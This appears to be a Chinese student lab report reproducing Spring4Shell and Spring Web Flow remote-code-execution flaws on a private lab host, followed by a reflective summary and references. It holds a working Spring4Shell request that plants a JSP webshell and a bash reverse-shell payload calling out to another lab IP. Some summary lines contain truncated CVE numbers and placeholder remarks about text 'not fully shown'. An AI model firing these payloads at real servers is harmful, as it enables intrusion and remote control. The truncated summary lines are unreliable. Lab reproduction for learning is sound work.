GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.25.138:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2
点击发送发送成功
访问http://192.168.25.138:8080/tomcatwar.jsp?pwd=j&cmd=id
刚方才上传的webshell
图 2.114
输入http://192.168.25.138:8080/tomcatwar.jsp?pwd=j&cmd=whoami
图 2.115
(8)上网自学 Spring Web Flow 远程代码执行漏洞(CVE-2017-4971):要求录屏
直接拉去vulfocus镜像
docker pull vulfocus/vulfocus:latest
创建容器
docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=172.17.0.1 vulfocus/vulfocus
图 2.116
图 2.117
在网址上访问80端口
http://192.168.25.138/#/login?redirect=%2Fdashboard
图 2.118
点击login
图 2.119
用左侧的密码进行登录
图 2.120
进入hotels/1
图 2.121
点击 booe hotel
图 2.122
注册
图 2.123
图 2.124
点击confirm进行抓包
图 2.125
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.25.148/10086+0>%261")).start()=vulfocus
图 2.126
图 2.127
总结与反思
一、总结
(一)学习内容
漏洞工具库使用
需要熟练掌握 Exploit - db 和 https://ww...(可能是某个网址,未完整显示)。
熟练运用国家信息安全漏洞库 CNNVD。
掌握国家信息安全漏洞共享平台 CNVD 相关操作。
漏洞复现操作
利用 MSF 复现 “永恒之蓝” 漏洞。
利用 MSF 复现 “永恒之黑” 漏洞。
上网自学并复现 Log4Shell(CVE - 2021 - 4...)漏洞。
上网自学并复现 Spring4Shell(CVE - 2022 -...)漏洞。
上网自学并复现 Spring Web Flow 远程代码执行漏洞(未完整显示,可能是 CVE - 2017 - 4971 相关内容)。
(二)学习收获
技术能力提升
通过对多个漏洞工具库的学习和使用,能够更加全面地了解网络安全漏洞的发现、管理和利用机制。例如,掌握 Exploit - db 等工具库,有助于在面对不同网络环境时,快速查找相关漏洞资料和工具。
对 MSF(Metasploit Framework)的使用操作更加熟练,在复现 “永恒之蓝”“永恒之黑” 等经典漏洞的过程中,深入理解了漏洞的原理和利用方式,提升了在实际网络环境中检测和防范此类漏洞的能力。
自学能力得到锻炼,通过上网学习 Log4Shell、Spring4Shell 等新出现的热门漏洞,紧跟网络安全领域的最新动态,拓宽了知识面,能够及时应对新的网络安全威胁。
安全意识增强
在学习这些漏洞的过程中,深刻认识到网络安全的重要性和复杂性。任何一个看似微小的漏洞都可能被恶意攻击者利用,造成严重的数据泄露、系统瘫痪等后果。
二、反思
(一)不足之处
实践操作不够深入
在复现漏洞的过程中,可能只是按照既定步骤完成操作,对于漏洞背后的原理和技术细节理解不够透彻。例如,在复现 Spring Web Flow 远程代码执行漏洞时,可能只是机械地执行命令,而没有深入研究漏洞产生的根本原因,如代码层面的缺陷等。
缺乏综合分析能力
在面对多个漏洞和相关工具库时,缺乏将它们有机结合起来进行综合分析和防范的能力。例如,在实际网络环境中,如何综合利用不同漏洞库的资源来提前预警和防范可能出现的复合攻击,还存在欠缺。
知识更新滞后风险
网络安全领域发展迅速,仅靠上课和有限的自学可能无法及时跟上最新的漏洞和攻击手段。如果不能建立持续学习和关注行业动态的机制,很容易在知识更新方面出现滞后,导致在实际工作中无法有效应对新的安全威胁。
(二)改进措施
深入研究漏洞原理
在复现漏洞后,深入研究相关的源代码、技术文档,从代码逻辑、框架机制等方面深入分析漏洞产生的原因。例如,针对 Spring Web Flow 远程代码执行漏洞,可以研究 Spring Web Flow 的相关代码模块,分析数据绑定和验证环节的缺陷。
培养综合分析能力
开展项目实践,模拟真实的网络攻击场景,尝试综合运用所学的漏洞知识和工具库进行攻击分析和防范。通过实际操作,建立起不同漏洞之间的联系,形成综合的网络安全防范策略。
建立持续学习机制
订阅网络安全领域的专业期刊、关注行业内知名专家的社交媒体账号,及时获取最新的漏洞信息和研究成果。同时,积极参与网络安全社区的讨论和交流,与同行分享经验和见解,不断拓宽知识面,保持对行业动态的敏锐度。
参考文献
一、漏洞工具库相关
Exploit - db 官方文档
网址:https://www.exploit - db.com/
简介:Exploit - db 是一个知名的漏洞利用数据库,其官方网站上有大量的漏洞利用代码和相关技术文章。它的官方文档详细介绍了工具的使用方法、数据库结构等内容,对于熟练掌握该工具库有很大帮助。
CNNVD 官方网站
网址:https://www.cnnvd.org.cn/
简介:国家信息安全漏洞库(CNNVD)官方网站提供了丰富的漏洞数据、漏洞评级标准、漏洞防范建议等内容。该网站上的相关研究报告和技术文档可以作为重要的参考文献。
CNVD 官方平台
网址:https://www.cnvd.org.cn/
简介:国家信息安全漏洞共享平台(CNVD)提供了众多漏洞案例分析、漏洞趋势报告等资料,有助于深入了解国内网络安全漏洞现状和相关防范策略。
二、漏洞复现相关
Metasploit 官方文档
网址:https://docs.metasploit.com/
简介:Metasploit Framework(MSF)是进行漏洞复现和渗透测试的重要工具。其官方文档详细介绍了各种模块的使用方法、漏洞利用原理等,对于复现“永恒之蓝”“永恒之黑”等漏洞有重要的参考价值。
关于 Log4Shell 漏洞的研究报告
例如:《Log4j - Log4Shell Vulnerability Analysis and Mitigation》
简介:各大网络安全公司和研究机构发布了大量关于 Log4Shell(CVE - 2021 - 44228)漏洞的研究报告,这些报告深入分析了漏洞产生的原理、影响范围和防范措施,是学习该漏洞的重要参考资料。
Spring4Shell 漏洞分析文献
例如:Spring 官方发布的关于 Spring4Shell(CVE - 2022 - 22965)漏洞的安全公告和相关技术分析
简介:Spring 官方网站以及相关网络安全论坛上有对 Spring4Shell 漏洞的技术剖析,包括漏洞在 Spring 框架中的代码位置、触发机制等内容,可作为学习该漏洞复现和防范的参考文献。
Spring Web Flow 漏洞相关资料
例如:Spring 官方文档中关于 Spring Web Flow 的部分以及相关漏洞的安全公告
简介:在 Spring 官方文档中可以找到 Spring Web Flow 的技术架构和使用方法等基础内容,结合网络安全社区对其相关远程代码执行漏洞(如 CVE - 2017 - 4971)的分析文章,可以深入了解该漏洞的原理和复现方法。